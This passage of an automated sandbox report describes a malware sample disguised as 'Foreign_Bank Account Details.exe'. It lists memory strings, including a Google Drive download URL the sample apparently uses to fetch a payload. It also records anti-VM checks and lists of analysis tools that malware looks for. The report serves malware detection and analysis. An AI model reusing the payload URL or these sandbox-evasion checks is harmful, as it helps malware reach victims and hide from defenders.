        Source: RegAsm.exe, 00000008.00000002.21890837219.0000000001710000.00000004.00000001.sdmpBinary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERSHELL32ADVAPI32USERPROFILE=HTTPS://DRIVE.GOOGLE.COM/UC?EXPORT=DOWNLOAD&ID=1HKAWRUHCCVAKL722JOQS1BRIWJN1S8KSWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKO
        Source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmpBinary or memory string: $C:\PROGRAMDATA\SANDBOXIE\SBIEDLL.DLL
        Source: MpSigStub.exe, 00000023.00000003.18334831739.0000015B1A746000.00000004.00000001.sdmpBinary or memory string: !#SLF:AGGR:MASQUERADE_AS!AUTORUNSC.EXE
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpBinary or memory string: FILEMON.EXE
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpBinary or memory string: PROCMON.EXE
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpBinary or memory string: !#SLF:AGGR:MASQUERADE_AS!PROCMON.EXE
        Source: MpSigStub.exe, 00000023.00000003.18299514362.0000015B1AF02000.00000004.00000001.sdmpBinary or memory string: BEHAVIORDUMPER.EXE
        Source: MpSigStub.exe, 00000023.00000003.18286537046.0000015B1A3C2000.00000004.00000001.sdmpBinary or memory string: FRIDA-WINJECTOR-HELPER-32.EXE
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpBinary or memory string: PTABLE)(LAPTOP)(NOTEBOOK)(SUB NOTEBOOK)%S \%D.%D.%D.%D%04X%04XSBIEDLL.DLLDBGHELP.DLLAPI_LOG.
        Source: MpSigStub.exe, 00000023.00000003.18299634028.0000015B1AF1A000.00000004.00000001.sdmpBinary or memory string: REGMON.EXE
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpBinary or memory string: !#SLF:AGGR:MASQUERADE_AS!AUTORUNS.EXE
        Source: MpSigStub.exe, 00000023.00000003.18284212320.0000015B1B935000.00000004.00000001.sdmpBinary or memory string: SBIEDLL.DLLSBIEDLLX.DLLHTTP://
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpBinary or memory string: SANDBOXIEDCOMLAUNCH.EXE
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#BM_COPYRENAMEDINAME_PROCMON.EXE
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpBinary or memory string: !#BM_COPYRENAMEDINAME_AUTORUNSC.EXE
        Source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmpBinary or memory string: \MSNSNIFFER\MSNSNIFFER.EXE]
        Source: Foreign_Bank Account Details.exe, 00000001.00000002.17634657037.00000000022D0000.00000004.00000001.sdmpBinary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERSHELL32ADVAPI32USERPROFILE=WINDIR=\MICROSOFT.NET\FRAMEWORK\V4.0.30319\REGASM.EXE\SYSWOW64\MSVBVM60.DLL
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpBinary or memory string: !#BM_COPYRENAMEDONAME_AUTORUNSC.EXE
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpBinary or memory string: REGSHOT.EXE
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpBinary or memory string: %Z!#SLF:AGGR:MASQUERADE_AS!AUTORUNS.EXE
        Source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmpBinary or memory string: WIRESHARK.EXE
        Source: MpSigStub.exe, 00000023.00000003.18287888120.0000015B1BC0A000.00000004.00000001.sdmpBinary or memory string: IDAG.EXE
        Source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmpBinary or memory string: &\MSNSNIFFER\MSNSNIFFER.EXE]
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpBinary or memory string: QEMU-GA.EXE
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#BM_COPYRENAMEDONAME_PROCMON.EXE
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpBinary or memory string: SBIESVC.EXE
        Source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmpBinary or memory string: !#SLF:AGGR:COPYRENAMED!AUTORUNS.EXE
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpBinary or memory string: !#BM_COPYRENAMEDONAME_AUTORUNS.EXE
        Source: MpSigStub.exe, 00000023.00000003.18329672768.0000015B1ADDA000.00000004.00000001.sdmpBinary or memory string: IMPORTREC.EXE
        Source: MpSigStub.exe, 00000023.00000003.18302834450.0000015B1BFE8000.00000004.00000001.sdmpBinary or memory string: |ACCESSCHK.EXE|ACCESSCHK64.EXE|ACCESSENUM.EXE|ACRORD32.EXE|ADEXPLORER.EXE|ADINSIGHT.EXE|ADRESTORE.EXE|APPLICATIONFRAMEHOST.EXE|APPVCLIENT.EXE|APPVLP.EXE|ATBROKER.EXE|AUDIODG.EXE|AUTORUNS.EXE|AUTORUNS64.EXE|AUTORUNSC.EXE|AUTORUNSC64.EXE|BASH.EXE|BGINFO.EXE|BGINFO64.EXE|BITSADMIN.EXE|BROWSER_BROKER.EXE|CALC.EXE|CDB.EXE|CERTUTIL.EXE|CLOCKRES.EXE|CLOCKRES64.EXE|CMD.EXE|CMDKEY.EXE|CMSTP.EXE|CONHOST.EXE|CONSENT.EXE|CONTIG.EXE|CONTIG64.EXE|CONTROL.EXE|COREINFO.EXE|CSC.EXE|CSCRIPT.EXE|CSI.EXE|CSRSS.EXE|CTFMON.EXE|CTRL2CAP.EXE|DASHOST.EXE|DATAEXCHANGEHOST.EXE|DBGVIEW.EXE|DFSVC.EXE|DISK2VHD.EXE|DISKEXT.EXE|DISKEXT64.EXE|DISKSHADOW.EXE|DLLHOST.EXE|DNSCMD.EXE|DNX.EXE|DXCAP.EXE|ESENTUTL.EXE|EXPAND.EXE|EXPLORER.EXE|EXTEXPORT.EXE|EXTRAC32.EXE|FINDLINKS.EXE|FINDLINKS64.EXE|FINDSTR.EXE|FONTDRVHOST.EXE|FORFILES.EXE|FXSSVC.EXE|GPSCRIPT.EXE|GPUP.EXE|HANDLE.EXE|HANDLE64.EXE|HEX2DEC.EXE|HEX2DEC64.EXE|HH.EXE|IE4UINIT.EXE|IEEXEC.EXE|INFDEFAULTINSTALL.EXE|INSTALLUTIL.EXE|JUNCTION.EXE|JUNCTION64.EXE|LDMDUMP.EXE|LIVEKD.EXE|LIVEKD64.EXE|LOADORD.EXE|LOADORD64.EXE|LOADORDC.EXE|LOADORDC64.EXE|LOCKAPP.EXE|LOGONSESSIONS.EXE|LOGONSESSIONS64.EXE|LSAISO.EXE|LSASS.EXE|MAKECAB.EXE|MAVINJECT.EXE|MFTRACE.EXE|MICROSOFTEDGE.EXE|MICROSOFTEDGECP.EXE|MICROSOFTEDGESH.EXE|MSBUILD.EXE|MSCONFIG.EXE|MSDEPLOY.EXE|MSDT.EXE|MSDTC.EXE|MSHTA.EXE|MSIEXEC.EXE|MSXSL.EXE|NETSH.EXE|NLNOTES.EXE|NLTEST.EXE|NOTES.EXE|NOTMYFAULT.EXE|NOTMYFAULT64.EXE|NOTMYFAULTC.EXE|NOTMYFAULTC64.EXE|NTFSINFO.EXE|NTFSINFO64.EXE|NTOSKRNL.EXE|NVUDISP.EXE|NVUHDA6.EXE|ODBCCONF.EXE|OPENWITH.EXE|PAGEDFRG.EXE|PCALUA.EXE|PCWRUN.EXE|PENDMOVES.EXE|PENDMOVES64.EXE|PIPELIST.EXE|PIPELIST64.EXE|POWERSHELL.EXE|PRESENTATIONHOST.EXE|PRINT.EXE|PROCDUMP.EXE|PROCDUMP64.EXE|PROCEXP.EXE|PROCEXP64.EXE|PROCMON.EXE|PSEXEC.EXE|PSEXEC64.EXE|PSFILE.EXE|PSFILE64.EXE|PSGETSID.EXE|PSGETSID64.EXE|PSINFO.EXE|PSINFO64.EXE|PSKILL.EXE|PSKILL64.EXE|PSLIST.EXE|PSLIST64.EXE|PSLOGGEDON.EXE|PSLOGGEDON64.EXE|PSLOGLIST.EXE|PSLOGLIST64.EXE|PSPASSWD.EXE|PSPASSWD64.EXE|PSPING.EXE|PSPING64.EXE|PSR.EXE|PSSERVICE.EXE|PSSERVICE64.EXE|PSSHUTDOWN.EXE|PSSUSPEND.EXE|PSSUSPEND64.EXE|PWSH.EXE|RAMMAP.EXE|RCSI.EXE|REG.EXE|REGASM.EXE|REGDELNULL.EXE|REGDELNULL64.EXE|REGEDIT.EXE|REGISTER-CIMPROVIDER|REGJUMP.EXE|REGSVCS.EXE|REGSVR32.EXE|REPLACE.EXE|ROBOCOPY.EXE|ROCCAT_SWARM.EXE|RPCPING.EXE|RUNDLL32.EXE|RUNONCE.EXE|RUNSCRIPTHELPER.EXE|RUNTIMEBROKER.EXE|SC.EXE|SCRIPTRUNNER.EXE|SDELETE.EXE|SDELETE64.EXE|SDIAGNHOST.EXE|SEARCHFILTERHOST.EXE|SEARCHINDEXER.EXE|SEARCHPROTOCOLHOST.EXE|SECURITYHEALTHSERVICE.EXE|SERVICES.EXE|SETTINGSYNCHOST.EXE|SGRMBROKER.EXE|SIGCHECK.EXE|SIGCHECK64.EXE|SIHOST.EXE|SMARTSCREEN.EXE|SMSS.EXE|SPLWOW64.EXE|SPOOLSV.EXE|SPPSVC.EXE|SQLDUMPER.EXE|SQLPS.EXE|SQLTOOLSPS.EXE|STREAMS.EXE|STREAMS64.EXE|SURFACECOLORSERVICE.EXE|SURFACESERVICE.EXE|SVCHOST.EXE|SYNCAPPVPUBLISHINGSERVER.EXE|SYNCHOST.EXE|SYSMON.EXE|SYSMON64.EXE|SYSTEMSETTINGSBROKER.EXE|TASKHOSTW.EXE|TASKMGR.EXE|TCPVCON.EXE|TCPVIEW.EXE|TE.EXE|TRACKER.EXE|USBINST.EXE|VBOXDRVINST.EXE|VMCOMPUTE.EXE|VMMAP.EXE|VMMS.EXE|VSJITD
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpBinary or memory string: \MSTRACER.DLL
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpBinary or memory string: SNIFFER.EXE
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpBinary or memory string: PEBROWSEDBG.EXE
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpBinary or memory string: IFPROCESSEXISTS("SANDBOXIERPCSS.EXE")ORPROCESSEXISTS("SANDBOXIEDCOMLAUNCH.EXE")THEN
        Source: MpSigStub.exe, 00000023.00000003.18287888120.0000015B1BC0A000.00000004.00000001.sdmpBinary or memory string: IDAQ.EXE
        Source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18305343223.0000015B1C4E5000.00000004.00000001.sdmpBinary or memory string: SYSANALYZER.EXE
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpBinary or memory string: SBIEDLL.DLL]
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpBinary or memory string: $Y!#SLF:AGGR:MASQUERADE_AS!PROCMON.EXE
        Source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmpBinary or memory string: DIR_WATCH.DLL
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpBinary or memory string: SBIEDLL.DLLA
        Source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmpBinary or memory string: OLLYDBG.EXE
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpBinary or memory string: WINE_GET_UNIX_FILE_NAME
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpBinary or memory string: *.LOG.|!\FABRICOBSERVER.EXE
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpBinary or memory string: #I!#BM_COPYRENAMEDONAME_AUTORUNSC.EXE
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpBinary or memory string: SBIEDLL.DLL
        Source: MpSigStub.exe, 00000023.00000003.18299514362.0000015B1AF02000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpBinary or memory string: SANDBOXIERPCSS.EXE
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: "G!#BM_COPYRENAMEDINAME_AUTORUNS.EXE
        Source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmpBinary or memory string: AUTORUNS.EXE
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !E!#BM_COPYRENAMEDINAME_PROCMON.EXE
        Source: MpSigStub.exe, 00000023.00000003.18343611807.0000015B1BD13000.00000004.00000001.sdmpBinary or memory string: HOOKANAAPP.EXE
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpBinary or memory string: #I!#BM_COPYRENAMEDINAME_AUTORUNSC.EXE
        Source: Foreign_Bank Account Details.exe, 00000001.00000002.17634657037.00000000022D0000.00000004.00000001.sdmp, RegAsm.exe, 00000008.00000002.21890837219.0000000001710000.00000004.00000001.sdmpBinary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpBinary or memory string: RC:\PROGRAM FILES\WIRESHARK\WIRESHARK.EXE
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpBinary or memory string: PETOOLS.EXE
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpBinary or memory string: TCPDUMP.EXE
        Source: MpSigStub.exe, 00000023.00000003.18299514362.0000015B1AF02000.00000004.00000001.sdmpBinary or memory string: FAKEHTTPSERVER.EXE
        Source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmpBinary or memory string: SNIFF_HIT.EXE
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpBinary or memory string: BSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\WIRESHARK.EXE
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpBinary or memory string: DUMPCAP.EXE
        Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)Show sources
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
        Tries to detect Any.runShow sources
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeFile opened: C:\Program Files\Qemu-ga\qemu-ga.exe
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeFile opened: C:\Program Files\qga\qga.exe
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Program Files\Qemu-ga\qemu-ga.exe
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Program Files\qga\qga.exe
        Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)Show sources
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 4908Thread sleep time: -2767011611056431s >= -30000s
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe TID: 2016Thread sleep time: -922337203685477s >= -30000s
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe TID: 644Thread sleep time: -922337203685477s >= -30000s
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exe TID: 4968Thread sleep time: -30000s >= -30000s
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWindow / User API: threadDelayed 9947
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Drivers\WdBoot.sysJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpAzSubmit.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpDetoursCopyAccelerator.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\mpavbase.vdmJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\mpavdlta.vdmJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpAsDesc.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\endpointdlp.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\mpasdlta.vdmJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\x86\MpDetoursCopyAccelerator.dll
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\mpasbase.vdmJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\x86\MpDetours.dll
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Drivers\WdDevFlt.sysJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSvc.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpCmdRun.exeJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\NisSrv.exeJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\x86\MpCmdRun.exe
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpCopyAccelerator.exeJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\x86\endpointdlp.dll
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Drivers\WdFilter.sysJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\x86\MpCopyAccelerator.exe
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\mpextms.exe
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpEvMsg.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpUpdate.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Drivers\WdNisDrv.sysJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\x86\MpAsDesc.dll
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ProtectionManagement.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\DefenderCSP.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpUxAgent.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpRtp.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MsMpEng.exeJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpDetours.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpCommu.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ConfigSecurityPolicy.exeJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeDropped PE file which has not been started: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpDlpCmd.exeJump to dropped file
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
        Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
        Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
        Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
        Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
        Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 922337203685477
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeThread delayed: delay time: 922337203685477
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeThread delayed: delay time: 922337203685477
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 922337203685477
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeThread delayed: delay time: 922337203685477
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeThread delayed: delay time: 922337203685477
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpBinary or memory string: *.AVHDX.|*|Microsoft-Hyper-V
        Source: MpSigStub.exe, 00000023.00000003.18260309272.0000015B0C57A000.00000004.00000001.sdmpBinary or memory string: 